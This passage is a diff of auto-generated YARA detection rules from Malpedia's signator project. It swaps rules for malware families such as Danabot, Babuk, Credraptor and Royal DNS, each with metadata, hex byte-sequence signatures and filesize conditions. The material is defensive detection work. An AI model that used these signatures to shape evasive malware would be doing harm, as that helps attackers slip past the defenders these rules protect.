 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3f16c34e-ab8c-5fd5-9a27-9934f8af2f6b"
+		id = "74231d79-bc89-53a0-abc2-544d7739c735"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pebbledash"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pebbledash_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sathurbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sathurbot_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "477e05e2df7e0e436b23bf26c9707de6486fd65cc8fb3dc50d94f319663b31bc"
+		logic_hash = "3f29ba6959f8023f24a58bd7b1fb03852622ec3e610d203883720a7aae8ca8ad"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161454,32 +168448,32 @@ rule MALPEDIA_Win_Pebbledash_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 25ffff0000 3bd0 740a b800000004 e9???????? 83bd74fbffff00 751a }
-		$sequence_1 = { 8be5 5d c3 55 8bec 81ecd0000000 c68530ffffff8e }
-		$sequence_2 = { 51 e8???????? 83c418 8d55f0 52 8d85a4f3ffff 50 }
-		$sequence_3 = { 8d95a0f5ffff 52 ff15???????? 898594f7ffff 83bd94f7ffffff 7505 }
-		$sequence_4 = { a3???????? 833d????????00 742c 8b55f0 8955dc 8b45dc 8945e0 }
-		$sequence_5 = { 8d1c85609f4200 c1e603 8b03 f644300401 7469 57 }
-		$sequence_6 = { 8b08 8b550c 8b4110 8902 8d8d70feffff 51 8b550c }
-		$sequence_7 = { 8b45e8 83c001 8945e8 837de80e 733b }
-		$sequence_8 = { 51 e8???????? 83c40c 817d0c1e010000 7f15 837d101e }
-		$sequence_9 = { 8b55fc 0355e4 33c0 8a02 83f850 753b 8b4dfc }
+		$sequence_0 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b86b2c1f0a b9b2fd990f }
+		$sequence_1 = { b94d1e0277 0f45c1 e9???????? 3ddc03f324 0f8582f1ffff a1???????? 8d48ff }
+		$sequence_2 = { e9???????? 81ff6e65f902 7f1b 81ffded97800 ba96b0469a 0f8548e7ffff bfadab28bf }
+		$sequence_3 = { e9???????? b817aff9fc e9???????? 3dcf25ea47 0f85eef0ffff a1???????? 8d48ff }
+		$sequence_4 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b8d3b4c9a9 b9c79b14fb }
+		$sequence_5 = { c744240400000000 89f1 e8???????? 83ec0c bafb0541ae b828f7da39 eb8f }
+		$sequence_6 = { b994a742ce 0f45c1 e9???????? 3d98320e47 0f8561fcffff 8a45ea 8a4deb }
+		$sequence_7 = { f6c201 ba67157693 b85ee72ce5 0f45d0 e9???????? 3d4c9cd69e 89c2 }
+		$sequence_8 = { e8???????? 83ec0c 8b45f0 8945d8 894610 89f1 e8???????? }
+		$sequence_9 = { bf51a32250 81fa39ccdcb8 74d7 ebfe 8b4304 83ec04 890424 }
 
 	condition:
-		7 of them and filesize <360448
+		7 of them and filesize <2727936
 }
-rule MALPEDIA_Win_Nim_Blackout_Auto : FILE
+rule MALPEDIA_Win_Badflick_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5ee8f0fb-bcc5-57f1-899f-f87f9c8f8cd3"
+		id = "24a1778a-a3eb-561a-a408-849c5f96759c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nim_blackout"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nim_blackout_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badflick"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.badflick_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "38658558791a84132e6c1e0a028a41bbfaac44e317840b869e572ec902a09080"
+		logic_hash = "416482f46b00136f041d59b3fa9a5b2a608db531874355803fb74761c46fd686"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161493,32 +168487,32 @@ rule MALPEDIA_Win_Nim_Blackout_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4889c8 83e001 84c0 7405 e8???????? 488b45f0 4885c0 }
-		$sequence_1 = { 48c7401800000000 e9???????? 90 48c745e0c6000000 488d057d5c0200 488945e8 }
-		$sequence_2 = { 488d057ad80000 488905???????? 488d05d85b0200 488905???????? c605????????01 48c705????????60000000 }
-		$sequence_3 = { e8???????? 48c745e0e7000000 488d05c37e0200 488945e8 488b4510 488b00 ba08000000 }
-		$sequence_4 = { e9???????? 90 48c785a800000000000000 48c785a000000000000000 48c7450088010000 488d05885b0100 48894508 }
-		$sequence_5 = { 488945c8 488b4de8 488b55e0 4889d0 4801c0 4801d0 48c1e003 }
-		$sequence_6 = { 488b1402 4889c8 4801c0 4801c8 48c1e004 4889c1 }
-		$sequence_7 = { 488d0542460200 488945c8 488b4510 488b55f8 4889d1 48c1e105 488b55f0 }
-		$sequence_8 = { 488b4588 488945f0 eb49 90 48c745d033000000 488d05f48e0100 488945d8 }
-		$sequence_9 = { 48894508 48c785f800000000000000 48c7450084010000 488d05bf5c0100 48894508 4883bdf000000000 0f84ff000000 }
+		$sequence_0 = { 74e2 6800800000 53 ff75f8 ff75e4 ff15???????? }
+		$sequence_1 = { 56 ff75fc ff15???????? 53 ff15???????? 33c0 5f }
+		$sequence_2 = { 8d4598 53 50 c7459044000000 895d94 e8???????? 33c0 }
+		$sequence_3 = { 8bec 51 51 8b4d0c 8b4101 53 56 }
+		$sequence_4 = { 68???????? 50 ffd7 be???????? 56 }
+		$sequence_5 = { 8945fc ffd6 8bf0 8d85e8fcffff 50 }
+		$sequence_6 = { 5d c3 b001 c3 55 8bec }
+		$sequence_7 = { 50 8b4704 03450c 50 8b47fc 0345f8 }
+		$sequence_8 = { 85c0 0f85e7000000 6a01 ff7305 }
+		$sequence_9 = { ff750c e8???????? 50 e8???????? 59 59 56 }
 
 	condition:
-		7 of them and filesize <1068032
+		7 of them and filesize <81920
 }
-rule MALPEDIA_Win_Pwndlocker_Auto : FILE
+rule MALPEDIA_Win_Danabot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "68fbdce5-97ba-5b4c-a728-8efe50c54b3b"
+		id = "6c78b1f9-714b-5978-8883-c700c384c0f3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwndlocker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pwndlocker_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.danabot_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "035ce763bc16632a928a77294057e290950a177cc8c2678dfab31b46c9b29c9e"
+		logic_hash = "4cb498ddb7090d3a6017b222a7d9cd57acddd4317f82294d9c05727c52600ae4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161532,32 +168526,32 @@ rule MALPEDIA_Win_Pwndlocker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c1cf0d 01c7 ebf4 3b7df0 75e0 5a }
-		$sequence_1 = { 01d8 83c078 8b00 8d3403 8b4e18 }
-		$sequence_2 = { c1cf0d 01c7 ebf4 3b7df0 }
-		$sequence_3 = { ebf4 3b7df0 75e0 5a 8b7224 01de 31c0 }
-		$sequence_4 = { 31ff 31c0 fc ac 84c0 7407 }
-		$sequence_5 = { c1cf0d 01c7 ebf4 3b7df0 75e0 5a 8b7224 }
-		$sequence_6 = { 01de 31ff 31c0 fc }
-		$sequence_7 = { 668b044e 8b721c 01de 8b0486 }
-		$sequence_8 = { fc ac 84c0 7407 c1cf0d 01c7 ebf4 }
-		$sequence_9 = { 01da 56 e334 49 8d348a }
+		$sequence_0 = { 7405 83e804 8b00 83f814 7e18 8b45fc 50 }
+		$sequence_1 = { c1e803 83e03f 83f838 730b ba38000000 }
+		$sequence_2 = { 8b03 50 8b44242c 50 6a14 }
+		$sequence_3 = { 8b45f8 85c0 7407 83e804 }
+		$sequence_4 = { 8b16 e8???????? 8b07 50 8b442428 50 6a0a }
+		$sequence_5 = { 50 6a14 688a4c2a8d 8bc6 8b4d00 8b17 }
+		$sequence_6 = { 3b85d0feffff 7452 8b85d0feffff 50 6a00 }
+		$sequence_7 = { 6a00 49 75f9 51 53 56 bb???????? }
+		$sequence_8 = { 8b0f 8b16 e8???????? 8b07 50 8b442454 50 }
+		$sequence_9 = { 56 57 8bf1 8955f8 8945fc 8d45fc }
 
 	condition:
-		7 of them and filesize <65536
+		7 of them and filesize <237568
 }
-rule MALPEDIA_Win_Play_Auto : FILE
+rule MALPEDIA_Elf_Hideandseek_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e5dc4ad0-4963-56ca-a5e5-83aec2390f77"
+		id = "8886e955-536d-56f5-a630-bf2b9ef8b07e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.play"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.play_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.hideandseek_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "633aef027703dbbff9f2f212af038ee3039813400893deac0150b99c35143631"
+		logic_hash = "c312d2a4b534a00f51e15be6e1572c868a1bf84ffb4d93cf13ce0449e347f5bb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161571,32 +168565,32 @@ rule MALPEDIA_Win_Play_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fb78d82feffff 2bc8 899570ffffff 014d84 }
-		$sequence_1 = { 02c1 c645c5ae 8845c3 b937030000 888556ffffff 8a45c7 c6852fffffff00 }
-		$sequence_2 = { 8bd8 899d88fdffff 85db 0f8483040000 8a0b 80f9e9 7409 }
-		$sequence_3 = { c83dad3c d92b e00c 9c 0d05f0657b 4e f30f7e05???????? }
-		$sequence_4 = { 7f06 81c4ab000000 83c410 e8???????? 66f1 }
-		$sequence_5 = { a1???????? 8945bc a1???????? 0f11855cffffff 894594 f30f7e05???????? 8b45f8 }
-		$sequence_6 = { 91 ae 54 ce 3106 f77cf30f 7e05 }
-		$sequence_7 = { 8955f4 8b460c 83ec08 8d0488 8945f8 8d45f4 }
-		$sequence_8 = { 898d48fdffff 66898562fdffff 668985e6fcffff 66398d30fdffff 7634 66ff857cfcffff 8d0432 }
-		$sequence_9 = { 88852effffff 8b8548ffffff fec8 8855ad 88854dffffff 8d45e8 6689bd0cfeffff }
+		$sequence_0 = { 53 83ec14 8b44242c 8a5c2430 ff7004 ff74242c e8???????? }
+		$sequence_1 = { e8???????? 83c410 84c0 752e 83ec0c 8d84241c120000 50 }
+		$sequence_2 = { 8d44244c 50 e8???????? 5b 8d442440 50 e8???????? }
+		$sequence_3 = { 89ca 8b0424 0fa4d91e 31c8 8b4c2430 0fa4d31e 8b542404 }
+		$sequence_4 = { 7411 0f821e040000 83f802 0f8508040000 eb04 50 50 }
+		$sequence_5 = { be00000000 b800000000 c1e210 09c6 c1e718 31db 0fb64504 }
+		$sequence_6 = { 50 e8???????? 83c410 84c0 741a 8b542414 c7434403000000 }
+		$sequence_7 = { 817e0c00010000 751a 8d5610 8d4650 53 68c0000000 50 }
+		$sequence_8 = { 56 53 8b7c2410 803d????????00 7561 83ec0c 6800000011 }
+		$sequence_9 = { 50 8b8424ec000000 ff7008 e8???????? 89f2 8b8424f0000000 }
 
 	condition:
-		7 of them and filesize <389120
+		7 of them and filesize <196608
 }
-rule MALPEDIA_Win_Tokyox_Auto : FILE
+rule MALPEDIA_Elf_Babuk_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6ca744f8-6e83-57d0-b9b1-d948cf62f189"
+		id = "0f03a128-b2bf-587f-bb2c-939b9b8a07cd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tokyox"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tokyox_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.babuk"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.babuk_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "6c96cc95cf53b382f98148013ad4ad66eb649ce28d4ba112298bfa55f06ac1c7"
+		logic_hash = "1ffac28a8690c44fcc8b3792df7481d8deebcbe27a55524336d71b5e562fe261"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161610,32 +168604,32 @@ rule MALPEDIA_Win_Tokyox_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6685c0 75e8 8d8570ffffff 8bf0 }
-		$sequence_1 = { bb0f000000 8975d8 8975e8 51 68ffff0000 50 }
-		$sequence_2 = { ff15???????? 85c0 0f8456010000 837d1000 751b 68c8000000 }
-		$sequence_3 = { 8d4598 8bcb 50 6888130000 8d45dc 50 e8???????? }
-		$sequence_4 = { 8d854cf5ffff 50 68???????? ff15???????? }
-		$sequence_5 = { 0f114590 0f104010 0f1145c0 0f1145a0 }
-		$sequence_6 = { ff730c ffd7 e9???????? 8d8550ffffff 0f57c0 50 0f114310 }
-		$sequence_7 = { 8d85f0faffff c645a000 50 ff75a0 8d4de8 }
-		$sequence_8 = { 8bf8 56 53 57 e8???????? 0f1045d0 }
-		$sequence_9 = { 668903 8d5101 8a01 41 84c0 75f9 ff75f8 }
+		$sequence_0 = { f7e2 89942488020000 898424a4000000 89e8 f7e1 89942484020000 898424a0000000 }
+		$sequence_1 = { 895c2404 e8???????? eba0 0fb6c1 3d88000000 0f8374020000 c1e007 }
+		$sequence_2 = { e8???????? 31c0 eb08 898c8490000000 40 83f806 7d5a }
+		$sequence_3 = { 8b9c2490000000 8d2c18 8d4c0314 8b942400010000 8b8424fc000000 8b9c24f8000000 39c1 }
+		$sequence_4 = { e8???????? e8???????? 8b442458 8b4018 c680b500000002 8b44247c 8b4c2478 }
+		$sequence_5 = { e8???????? 0fb644240c 84c0 7539 90 658b0500000000 8b80fcffffff }
+		$sequence_6 = { 8b492c 8b5c2414 01d3 895904 8b4818 8b492c }
+		$sequence_7 = { e8???????? e8???????? 658b0500000000 8b80fcffffff 8b4018 8b0c24 894824 }
+		$sequence_8 = { c1fd1f 21dd 8d3c2e 89bc24f8000000 8b6c2450 e9???????? 39f5 }
+		$sequence_9 = { 89442408 e8???????? 8b44240c 8b4c2410 890d???????? 890d???????? 8b15???????? }
 
 	condition:
-		7 of them and filesize <237568
+		7 of them and filesize <4186112
 }
-rule MALPEDIA_Win_Salgorea_Auto : FILE
+rule MALPEDIA_Win_Royal_Dns_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "485be719-ad86-58c5-b98c-1fa9d3a194c2"
+		id = "8e27ee32-9aaf-59db-953d-0696af40bcce"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.salgorea"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.salgorea_auto.yar#L1-L163"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.royal_dns_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "a8561e214f866675e949632f523697275b0bd60d695b553a0e222be68943af7d"
+		logic_hash = "f281d4e3be759adcb32b06448d83aa5fdafcb96a4b912bbb46b43de4955e29ec"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161649,38 +168643,32 @@ rule MALPEDIA_Win_Salgorea_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b5c240c 53 9d 8b5c2404 }
-		$sequence_1 = { 51 66b9b469 66f7f1 f7da }
-		$sequence_2 = { 51 6698 f7db 33d2 b889510000 b98c0b0000 }
-		$sequence_3 = { 66c1e303 f6d1 f8 6633d2 66b8b96a 66b9ada1 66f7f1 }
-		$sequence_4 = { 66c1e306 80eb38 80e6ee f8 f6d1 52 40 }
-		$sequence_5 = { 8b5c2404 f8 99 8b1424 f5 66f7d8 8b442410 }
-		$sequence_6 = { 66c1e804 8b44240c 0fbafa00 0fbcd2 }
-		$sequence_7 = { 8b5c240c 53 d50a 48 d40a 22c9 }
-		$sequence_8 = { a1???????? 8945cc 8d45cc 3930 }
-		$sequence_9 = { 8d87d8010000 50 8d83d8010000 50 }
-		$sequence_10 = { 8d8850040000 8d984c040000 8b4510 8b00 }
-		$sequence_11 = { 8d885c040000 8d9858040000 e9???????? 8b7508 }
-		$sequence_12 = { 8d87d8010000 50 e8???????? 59 59 85c0 }
-		$sequence_13 = { 8d87d8010000 50 8d83b0020000 50 e8???????? 59 }
-		$sequence_14 = { 8d8860010000 0fb701 a801 740a }
-		$sequence_15 = { 8d8840010000 8d9044010000 56 8b750c }
+		$sequence_0 = { 50 e8???????? 8b4dfc 8b85b4fcffff 83c404 }
+		$sequence_1 = { e8???????? 83c40c 8bc6 eb15 8d8da1f1ffff }
+		$sequence_2 = { ff15???????? 3d02010000 8b85e0fdffff 7533 6a00 50 }
+		$sequence_3 = { 4a 759a 8b55fc 85ff 7468 0fb606 c1e802 }
+		$sequence_4 = { 0fb61406 c1ea03 0fb69248132500 8811 0fb61c06 0fb6540601 c1ea06 }
+		$sequence_5 = { 80e301 0ac3 8845ed 8a45f8 8ad8 8345e805 }
+		$sequence_6 = { 8d8dfcfeffff 83c40c 33c0 2bd1 }
+		$sequence_7 = { 7504 33c0 eb0a 0fb6c8 }
+		$sequence_8 = { 0fb61c30 0fb6543001 03db 03db c1ea06 0bd3 }
+		$sequence_9 = { 8a17 8816 47 46 48 }
 
 	condition:
-		7 of them and filesize <2007040
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Spaceship_Auto : FILE
+rule MALPEDIA_Win_Putabmow_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b89dfb6c-e6cf-5987-bb83-c34e2134133d"
+		id = "118d99b8-b7d8-55d9-89f4-cf8d56f456ff"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spaceship_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.putabmow"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.putabmow_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "411bed797a77bb254c4227872033ffc1c4978f634b16d7697bf043a78e35e5f7"
+		logic_hash = "4091b5988ccb2a8139f14760c8b7e9d61862064b8efc99f4d36fbebf2dc41c73"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161694,34 +168682,34 @@ rule MALPEDIA_Win_Spaceship_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6689842464030000 6689842466030000 c784246803000028694100 66899c246c030000 668984246e030000 c784247003000018694100 }
-		$sequence_1 = { 66c78424a40400001200 66898424a6040000 c78424a804000070674100 66c78424ac0400001300 66898424ae040000 c78424b004000064674100 }
-		$sequence_2 = { 0f8415010000 bb01000000 3bfb 0f8cff000000 eb04 }
-		$sequence_3 = { 84c0 7547 eb31 8d7502 40 8a10 8aca }
-		$sequence_4 = { 52 e8???????? 83c418 5f 5e 5b 83c410 }
-		$sequence_5 = { 85c0 7454 8a442404 84c0 }
-		$sequence_6 = { 53 ff542428 8d8c2454020000 51 e8???????? }
-		$sequence_7 = { 8b442424 8b0d???????? 56 50 }
-		$sequence_8 = { 8d3c8d00ec4100 c1e603 8b0f 833c31ff }
-		$sequence_9 = { 723c 8d8c2458030000 6a00 8d94245c050000 51 52 ff15???????? }
+		$sequence_0 = { 016306 07 015100 07 015600 0801 51 }
+		$sequence_1 = { e8???????? 8b55f0 8b4a0c 894d08 894dec 8d4118 89420c }
+		$sequence_2 = { 50 51 8d3c01 eb51 ff752c 8b7524 51 }
+		$sequence_3 = { 05eb004805 f0005005 f0005005 f0005005 f0005005 f0005005 f0005005 }
+		$sequence_4 = { c74424540f000000 85c0 7c16 7f04 85f6 7410 89442418 }
+		$sequence_5 = { 8d4c241c e8???????? c744247001000000 6a01 51 68???????? 8d4c2424 }
+		$sequence_6 = { e8???????? 83c404 89442428 c7842480000000ffffffff 8b4c241c 85c9 }
+		$sequence_7 = { 85c0 7413 6a00 8d8c24c8070000 51 8bc8 e8???????? }
+		$sequence_8 = { ff15???????? 85c0 0f8420010000 837e1408 7204 8b06 }
+		$sequence_9 = { e9???????? 8d8d50f7ffff e9???????? 8b85fcf4ffff 50 e8???????? 59 }
 
 	condition:
-		7 of them and filesize <262144
+		7 of them and filesize <704512
 }
-rule MALPEDIA_Win_Redleaves_Auto : FILE
+rule MALPEDIA_Win_Safenet_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cc8fab97-eb1b-5c40-a45f-7f10d21eb6b6"
+		id = "ac7a694f-f64f-5870-a7d7-8253326e6bdf"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redleaves"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.redleaves_auto.yar#L1-L162"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.safenet"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.safenet_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "1a1a0a58298bb01a37c19c26700f5fe323706257844254db91cc834d1d6766e7"
+		logic_hash = "2a23436dc4bc12ef6d7e9d46230626c8fc77e510b9c9904c537608f099e6c2ff"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -161733,39 +168721,32 @@ rule MALPEDIA_Win_Redleaves_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 51 7565 7279 55 7365 7254 }
-		$sequence_1 = { 47 657449 7041 64647254 }
-		$sequence_2 = { 54 53 51 7565 }
-		$sequence_3 = { 9c 894504 9c 9c }
-		$sequence_4 = { 83e901 0f85edffffff 89d0 29f8 5f 5b }
-		$sequence_5 = { 8d64241c d2c0 8a01 9c }
-		$sequence_6 = { 59 89f9 8d64241c d2c0 }
-		$sequence_7 = { 8b04b0 8b4018 898588fdffff 8d8578fdffff }
-		$sequence_8 = { 8b04b0 ff7018 ff701c 8d85acfdffff }
-		$sequence_9 = { 8bec 8b550c 53 8bd9 85d2 7f05 }
-		$sequence_10 = { 50 57 ffb610020000 e8???????? }
-		$sequence_11 = { 8bec a1???????? 56 85c0 7452 }
-		$sequence_12 = { 53 53 6804010000 8d85acfeffff }
-		$sequence_13 = { 8b04b0 83c41c 53 53 }
-		$sequence_14 = { 50 57 ffb60c020000 e8???????? 83c40c 8b860c020000 }
-		$sequence_15 = { 54 9c 60 9c }
-		$sequence_16 = { 9c 9c 8f442420 9c }
+		$sequence_0 = { 8b4004 50 c3 8b442404 668b08 }
+		$sequence_1 = { 50 ff15???????? 85c0 7511 6a01 5b }
+		$sequence_2 = { 57 8d45e6 6a02 50 e8???????? 836d0804 83c420 }
+		$sequence_3 = { 8b08 50 897920 8b4df0 83602000 e8???????? }
+		$sequence_4 = { ff7008 ff7604 ff15???????? 8bcf e8???????? }
+		$sequence_5 = { 8d4db8 c645fc01 e8???????? 6a01 8d4dcc 885dfc }
+		$sequence_6 = { 57 ff7614 ff55f8 85c0 0f85d7000000 397df4 }
+		$sequence_7 = { ffd6 83c414 8d85b0fbffff ff77f8 }
+		$sequence_8 = { ff750c e8???????? ff75ec e8???????? ff75e8 e8???????? }
+		$sequence_9 = { bf???????? 8b45d4 85c0 7505 b8???????? 57 50 }
 
 	condition:
-		7 of them and filesize <1679360
+		7 of them and filesize <262144
 }
-rule MALPEDIA_Win_Ddkong_Auto : FILE
+rule MALPEDIA_Win_Credraptor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0544faa5-2134-56f3-b2ce-99d63d7f2f59"
+		id = "744ed2ca-2dde-53b2-b19d-4369cb84cbb1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ddkong_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.credraptor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.credraptor_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "5c0b95ff5255c02a1d1a9b0883f78a353561d54588ac72196452124efb25472a"
+		logic_hash = "751cbf31cf2ad7ebff2dead521605a0ec12dc4ff6ec97fefa5bfc3c13ba5bce0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161775,36 +168756,36 @@ rule MALPEDIA_Win_Ddkong_Auto : FILE
 		malpedia_rule_date = "20231130"
 		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
 		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
-
-	strings:
-		$sequence_0 = { c6459765 c6459857 c645996f c6459a77 c6459b36 c6459c34 c6459d46 }
-		$sequence_1 = { c68572ffffff62 c68573ffffff6a c68574ffffff65 c68575ffffff63 c68576ffffff74 889d77ffffff ffd7 }
-		$sequence_2 = { c645d36c c645d465 c645d54e c645d661 c645d76d c645d865 c645d941 }
-		$sequence_3 = { 5b 5d c20c00 ff25???????? ff25???????? 8b4c2404 85c9 }
-		$sequence_4 = { c645f470 ffd6 50 ffd7 8b5d0c bf04010000 }
-		$sequence_5 = { 6a04 e8???????? 83c418 eb2d 6a01 }
-		$sequence_6 = { 7427 837d08ff 7421 8d45dc 6a10 50 ff7508 }
-		$sequence_7 = { c6855affffff65 c6855bffffff4f c6855cffffff62 c6855dffffff6a c6855effffff65 }
-		$sequence_8 = { c6459763 c6459874 c6459969 c6459a76 c6459b65 c6459c43 c6459d6f }
-		$sequence_9 = { c68574ffffff65 c68575ffffff63 c68576ffffff74 889d77ffffff }
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { bb???????? 8bf8 e8???????? 8945fc 8b45f8 83c408 85c0 }
+		$sequence_1 = { c6402597 895028 8b5120 89502c 8bce 8bc3 e8???????? }
+		$sequence_2 = { 8d4db4 e8???????? 85c0 754b 8d55b4 52 e8???????? }
+		$sequence_3 = { b800020000 660bc8 8b45f8 5f 894604 894624 66894e1c }
+		$sequence_4 = { a900050000 7565 837b1c00 745f 8b4df8 8b5110 52 }
+		$sequence_5 = { 8b8e14020000 8975f0 895df8 e8???????? 8bf8 83c404 897dfc }
+		$sequence_6 = { 8db5c8fdffff e8???????? 85c0 7430 8b8dccfdffff 8b7f0c 8b95c8fdffff }
+		$sequence_7 = { 894d94 8bff 8a01 dd8574ffffff dd05???????? 3c25 7409 }
+		$sequence_8 = { c7461000000000 53 c60600 e8???????? 83c404 807f4100 8bdf }
+		$sequence_9 = { bb07000000 85ff 7439 ba60240000 6685571c 7409 57 }
 
 	condition:
-		7 of them and filesize <81920
+		7 of them and filesize <1728512
 }
-rule MALPEDIA_Win_Fobber_Auto : FILE
+rule MALPEDIA_Win_Onhat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
